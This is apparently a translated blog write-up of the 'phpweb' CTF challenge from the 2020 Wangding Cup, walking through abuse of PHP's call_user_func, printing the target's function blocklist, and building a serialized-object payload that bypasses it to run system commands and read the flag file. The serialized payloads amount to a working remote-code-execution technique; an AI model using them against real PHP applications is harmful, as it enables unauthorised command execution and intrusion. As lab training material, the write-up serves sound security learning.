[wangdingbei 2020 rosefinch group]

Keywords: PHP CTF

subject

Link: https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]phpweb

answer

1. Open the web page, a picture and a pair of English will appear. First, F12 view a wave of source code

If there is a form and it is submitted by post, then packet capture analysis is required

2. There are two parameters

Try changing the parameters to see if the returned content will be different
3. Try changing func to aaa

Returned content

aaa did not find or this is an illegal file name
At the same time, an important function call is found_ user_ Func (), see summary of knowledge points for specific functions
The idea was immediately opened. func is a built-in function in php, p is a parameter, and the execution result will be displayed in the p tag
Verify:


4. Then try the command execution function


It should be expected that these functions should be filtered out. Otherwise, how can it be so simple
I still tried other ones. In case there is a fish missing, it won't work
5. Open your mind. Since you can execute commands, I'll read the source code, file_get_content is not filtered

func=file_get_contents&p=index.php

Get the index.php source code

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

Sure enough, the filter is more than I thought
6. Analyze the source code, continue to open the idea, and find a class. Can you try deserialization
In the analysis process, first input func and p, where func is unserialize and p is the result of serialization
Execute the gettime function to get a deserialized object, which will be called automatically after the object is created__ destruct is destroyed, and then continue to call the gettime function, so that the execution can get the result.
Construct exp

<?php
    class test{
    	var $func="system";
    	var $p = "ls";
    }
    $a = new test();
    $aa = serialize($a);
    echo $aa;
?>

The execution results are obtained in the local build environment
So try

func=unserialize&p=O:4:"test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}


7. Continue construction

func=unserialize&p=O:4:"test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

Look for files related to flag and wait for some time

Continue construction

func=unserialize&p=O:4:"test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

Get results

flag{5f916313-bde1-4dca-ba69-a9af7fa78725}
Done!

Knowledge points

1,call_user_func usage
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
The first parameter callback is the called callback function, and the other parameters are the parameters of the callback function.
Link: https://www.php.net/manual/zh/function.call-user-func.php

2. See later articles for the knowledge points of serialization and deserialization

Posted by brokenshadows on Mon, 18 Oct 2021 19:57:21 -0700